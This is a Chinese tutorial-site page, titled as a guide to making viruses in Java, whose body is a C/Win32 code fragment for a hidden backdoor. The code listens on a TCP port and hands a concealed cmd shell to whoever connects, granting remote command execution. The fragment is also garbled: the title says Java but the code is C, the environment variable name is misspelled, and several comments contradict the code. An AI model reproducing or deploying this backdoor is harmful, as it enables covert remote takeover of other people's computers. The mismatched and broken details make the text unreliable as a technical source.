当前位置:网站首页 > Java教程 > 正文

java制作病毒教程



//分配内存,初始化数据       ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));       ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));       ZeroMemory(&WSADa,sizeof(WSADATA));       //获取cmd路径       GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath));       //加载ws2_32.dll       WSAStartup(0x0202,&WSADa);       //设置本地信息和绑定协议,建立socket,代码如下:       SockAddrIn.sin_family = AF_INET;       SockAddrIn.sin_addr.s_addr = INADDR_ANY;       SockAddrIn.sin_port = htons(MasterPort);       CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);       //设置绑定端口999       bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));       //设置服务器端监听端口       listen(CSocket,1);       iAddrSize = sizeof(SockAddrIn);       //开始连接远程服务器,并配置隐藏窗口结构体       SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);       StartupInfo.cb = sizeof(STARTUPINFO);       StartupInfo.wShowWindow = SW_HIDE;              StartupInfo.dwFlags = STARTF_USESTDHANDLES |       STARTF_USESHOWWINDOW;       StartupInfo.hStdInput = (HANDLE)SSocket;       StartupInfo.hStdOutput = (HANDLE)SSocket;       StartupInfo.hStdError = (HANDLE)SSocket;              //创建匿名管道:        CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);       WaitForSingleObject(ProcessInfo.hProcess, INFINITE);       CloseHandle(ProcessInfo.hProcess);       CloseHandle(ProcessInfo.hThread);       //关闭进程句柄:        closesocket(CSocket);       closesocket(SSocket);       WSACleanup();       //关闭连接卸载ws2_32.dll        return 0;       }       

版权声明


相关文章:

  • Java大学实用教程2024-12-12 15:58:06
  • java转大数据教程2024-12-12 15:58:06
  • java教程1312024-12-12 15:58:06
  • java枪械模组教程2024-12-12 15:58:06
  • 李兴华 java web教程2024-12-12 15:58:06
  • 疯狂java教程第9讲2024-12-12 15:58:06
  • Java Web 案例教程2024-12-12 15:58:06
  • java教程2312024-12-12 15:58:06
  • 小游戏代码java开发教程2024-12-12 15:58:06
  • arcgis java教程2024-12-12 15:58:06